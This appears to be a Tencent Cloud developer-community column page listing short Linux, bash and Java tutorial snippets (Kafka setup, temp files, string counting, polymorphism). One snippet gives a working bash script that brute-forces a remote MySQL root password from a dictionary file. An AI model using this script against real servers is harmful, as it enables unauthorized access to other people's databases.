腾讯云
开发者社区
文档
建议反馈
控制台
首页
学习
活动
专区
工具
TVP
最新优惠活动
文章/答案/技术大牛
搜索
搜索
关闭
发布
登录/注册
首页
学习
活动
专区
工具
TVP
最新优惠活动
返回腾讯云官网
葫芦
专栏作者
举报
307
文章
844307
阅读量
34
订阅数
订阅专栏
申请加入专栏
全部文章
linux
python
java
编程算法
sql
javascript
vue.js
html
http
数据库
css
node.js
云数据库 SQL Server
运维
ssh
bash
nginx
bash 指令
tcp/ip
kafka
网站
yum
ftp
云数据库 Redis
git
api
容器镜像服务
命令行工具
网络安全
django
unix
kubernetes
存储
分布式
shell
grep
https
微服务
url
对象存储
c++
vbscript
json
access
svn
mapreduce
腾讯云测试服务
容器
zookeeper
markdown
udp
iis
socket编程
windows
Elasticsearch Service
aws
client
echarts
import
map
proc
python3
wget
监控
脚本
路由器
日志
源码
主机
DNS 解析 DNSPod
php
.net
jquery
ajax
单片机
web.py
ide
tomcat
apache
文件存储
访问管理
消息队列 CMQ 版
云推荐引擎
企业
serverless
缓存
爬虫
jdk
jvm
wordpress
dns
jdbc
cdn
敏捷开发
zabbix
uml
数据结构
网站建设
app
apply
async
awk
axios
click
config
configure
controller
data
default
display
excel
expect
foreach
form
frame
insert
io
lan
layer
limit
mac
mysql
openssh
pid
post
product
ps
range
root
script
server
service
setinterval
sleep
snapshot
sqlplus
sum
widget
xlrd
zip
备份
编译
测试
动画
多线程
服务端
交换机
客户端
命令行
系统
字符串
搜索文章
搜索
搜索
关闭
teg 部署kafka
kafka
zookeeper
bash
bash 指令
jdk
tar –zxvf jdk-8u152-linux-x64.tar.gz –C /usr/local/
葫芦
2019-11-26
525
0
linux kill -HUP pid
grep
ssh
网站
bash
bash 指令
kill -HUP pid pid 是进程标识。如果想要更改配置而不需停止并重新启动服务,请使用该命令。在对配置文件作必要的更改后,发出该命令以动态更新服务配置。
葫芦
2019-06-19
4.5K
0
linux shell创建临时文件
bash
bash 指令
linux
[root@aoi ~]# cat d #!/bin/bash #creating and using a temp file tempfile=`mktemp wz19.XXXXXX` exec 3>$tempfile echo "This script write to temp file $tempfile" echo "This is the first line" >&3 echo "This is the second line" >&3 echo "This is the last line" >&3 exec 3>&- echo "Done creating temp file. The contents are:" cat $tempfile rm -f $tempfile 2> /dev/null [root@aoi ~]# sh d This script write to temp file wz19.gnxX9K Done creating temp file. The contents are: This is the first line This is the second line This is the last line [root@aoi ~]# ls -al wz19* ls: cannot access wz19*: No such file or directory ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ mktemp -t wz.XXXXXX会将文件创建在系统临时文件夹下 [root@aoi ~]# mktemp -t wz.XXXXXX /tmp/wz.cs6mCq [root@aoi ~]# cat s #!/bin/bash tempfile=`mktemp -t tmp.XXXXXX` echo "This is a test file." > $tempfile echo "This is the second line of the test." >>$tempfile echo "The temp file is located at: $tempfile" cat $tempfile rm -f $tempfile [root@aoi ~]# sh s The temp file is located at: /tmp/tmp.xpLNt9 This is a test file. This is the second line of the test. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [root@aoi dir.BEEbII5]# cat ../a #!/bin/bash tempdir=`mktemp -d dir.XXXXXXX` cd $tempdir tempfile1=`mktemp temp.XXXXXX` tempfile2=`mktemp temp.XXXXXX` exec 7> $tempfile1 exec 8> $tempfile2 echo "Sending data to directory $tempdir" echo "This is a test line of data for $tempfile1" >&7 echo "This is a test line of data for $tempfile2" >&8 [root@aoi dir.BEEbII5]# ll total 8 -rw-------. 1 root root 44 Nov 20 08:24 temp.D3JWPR -rw-------. 1 root root 44 Nov 20 08:24 temp.n0IElP [root@aoi dir.BEEbII5]# cat temp.D3JWPR This is a test line of data for temp.D3JWPR [root@aoi dir.BEEbII5]# cat temp.n0IElP This is a test line of data for temp.n0IElP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ tee filename 它将从STDIN 过来的数据同时发给两个目的地。一个目的地是STDOUT一个是 tee命令指定的文件名 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ [root@aoi dir.BEEbII5]# date | tee wz Wed Nov
葫芦
2019-05-10
2.7K
0
linux shell配合密码字典破解远程mysql密码
bash
云数据库 SQL Server
bash 指令
数据库
sql
[cc lang="bash"] #!/bin/bash a=1 for t in `cat pass2` do mysql -u root -h “TARGETIP” -p$t 2>ss2 if [ ! -s ss2 ] then echo $t>password2 break fi echo "$a">ss3 a=$[ $a + 1 ] cat /dev/null >ss2 done [/cc] pass2: 是密码字典文件 mysql -u root -h 168.168.168.168 -p$t 2>ss2 : 错误的提示信息都输出到ss2,并每次都重新创建。
葫芦
2019-05-09
2.7K
0
linux 计算一个字符串中有多少个大写字母和小写字母
bash
bash 指令
由于最近学java写了一个类似功能,就想着用bash 也写个看看,练下手。代码放出: #!/bin/bash s=asffsdAd32DSsdi@#!\$fihiZFSF87768Z a=0 A=0 b=0 length=`echo ${#s}` for((i=0;i< lengthibr>do e=`echo ${s:$i:1}` if [[ $e = [[:lower:]] ]] then a=$[ $a+1 ] elif [[ $e = [[:upper:]] ]] then A=$[ $A+1 ] else b=$[ $b+1 ] fi done echo "a-z" have nuber: $a echo "A-Z" have number: $A echo "Other" have number: $b 如果字符串中有$字符必须转义,否则影响结果,下面给出运行结果。 [root@wangzi test]# sh charat a-z have nuber: 14 A-Z have number: 8 Other have number: 11
葫芦
2019-05-09
967
0
java 多态 向上转型 后期绑定一例
bash
bash 指令
c++
javascript
switch中的 default 语句不管放在哪个位置,都是在所有case都不满足的情况下最后执行。 foreach语句 for(元素类型 元素变量;遍历对像) 变量元素.draw()即 遍历对象.draw();foreach即for每一个。 for (Shap shp: s) shp.draw(); 个人理解,当 s[0]=gen.next();时 调用RandomShapeGenerator 中的next方法,执行语句case0-2其中一个return语句得到指向Circle Square Triangle 其中的一个引用,并将其以Shape类型发送出去。此例中当return语句指向Circle时 shp.draw() 即将shp元素变量替换为Circle对象,调用Shap类型 Circle对象draw 方法。 package javahaonan.shape; public class Shape { public void draw() {} public void erase() {} } package javahaonan.shape; import static javahaonan.Print.*; public class Circle extends Shape { public void draw() { print ("Circle。draw()");} public void erase() {print ("Cricle.erase()");} } package javahaonan.shape; import static javahaonan.Print.*; public class Square extends Shape { public void draw(){print("Square.draw()");} public void erase(){print("Square.erase()");} } package javahaonan.shape; import static javahaonan.Print.*; public class Triangle extends Shape { public void draw(){print("Trinagle.draw()");} public void erase(){print("Trinagle.erase()");} } package javahaonan.shape; import java.util.*; public class RandomShapeGenerator { private Random rand = new Random(); public Shape next(){ switch(rand.nextInt(3)){ default: case 0:return new Circle(); case 1:return new Square(); case 2:return new Triangle(); } } } package javahaonan.shape; public class Shapes { private static RandomShapeGenerator gen = new RandomShapeGenerator(); public static void main(String[] args) { Shape[] s=new Shape[9]; for (int i=0;i s[i]=gen.next(); for(Shape shp: s) shp.draw(); } }/output* Square.draw() Trinagle.draw() Square.draw() Circle。draw() Square.draw() Trinagle.draw() Trinagle.draw() Trinagle.draw() Trinagle.draw() */
葫芦
2019-05-09
518
0
没有更多了
社区活动
Python精品学习库
代码在线跑,知识轻松学
点击查看
【玩转EdgeOne】征文进行中
限时免费体验,发文即有奖~
立即参加
博客搬家 | 分享价值百万资源包
自行/邀约他人一键搬运博客,速成社区影响力并领取好礼
立即体验
技术创作特训营·精选知识专栏
往期视频·干货材料·成员作品·最新动态
立即查看
领券
问题归档
专栏文章
快讯文章归档
关键词归档
开发者手册归档
开发者手册 Section 归档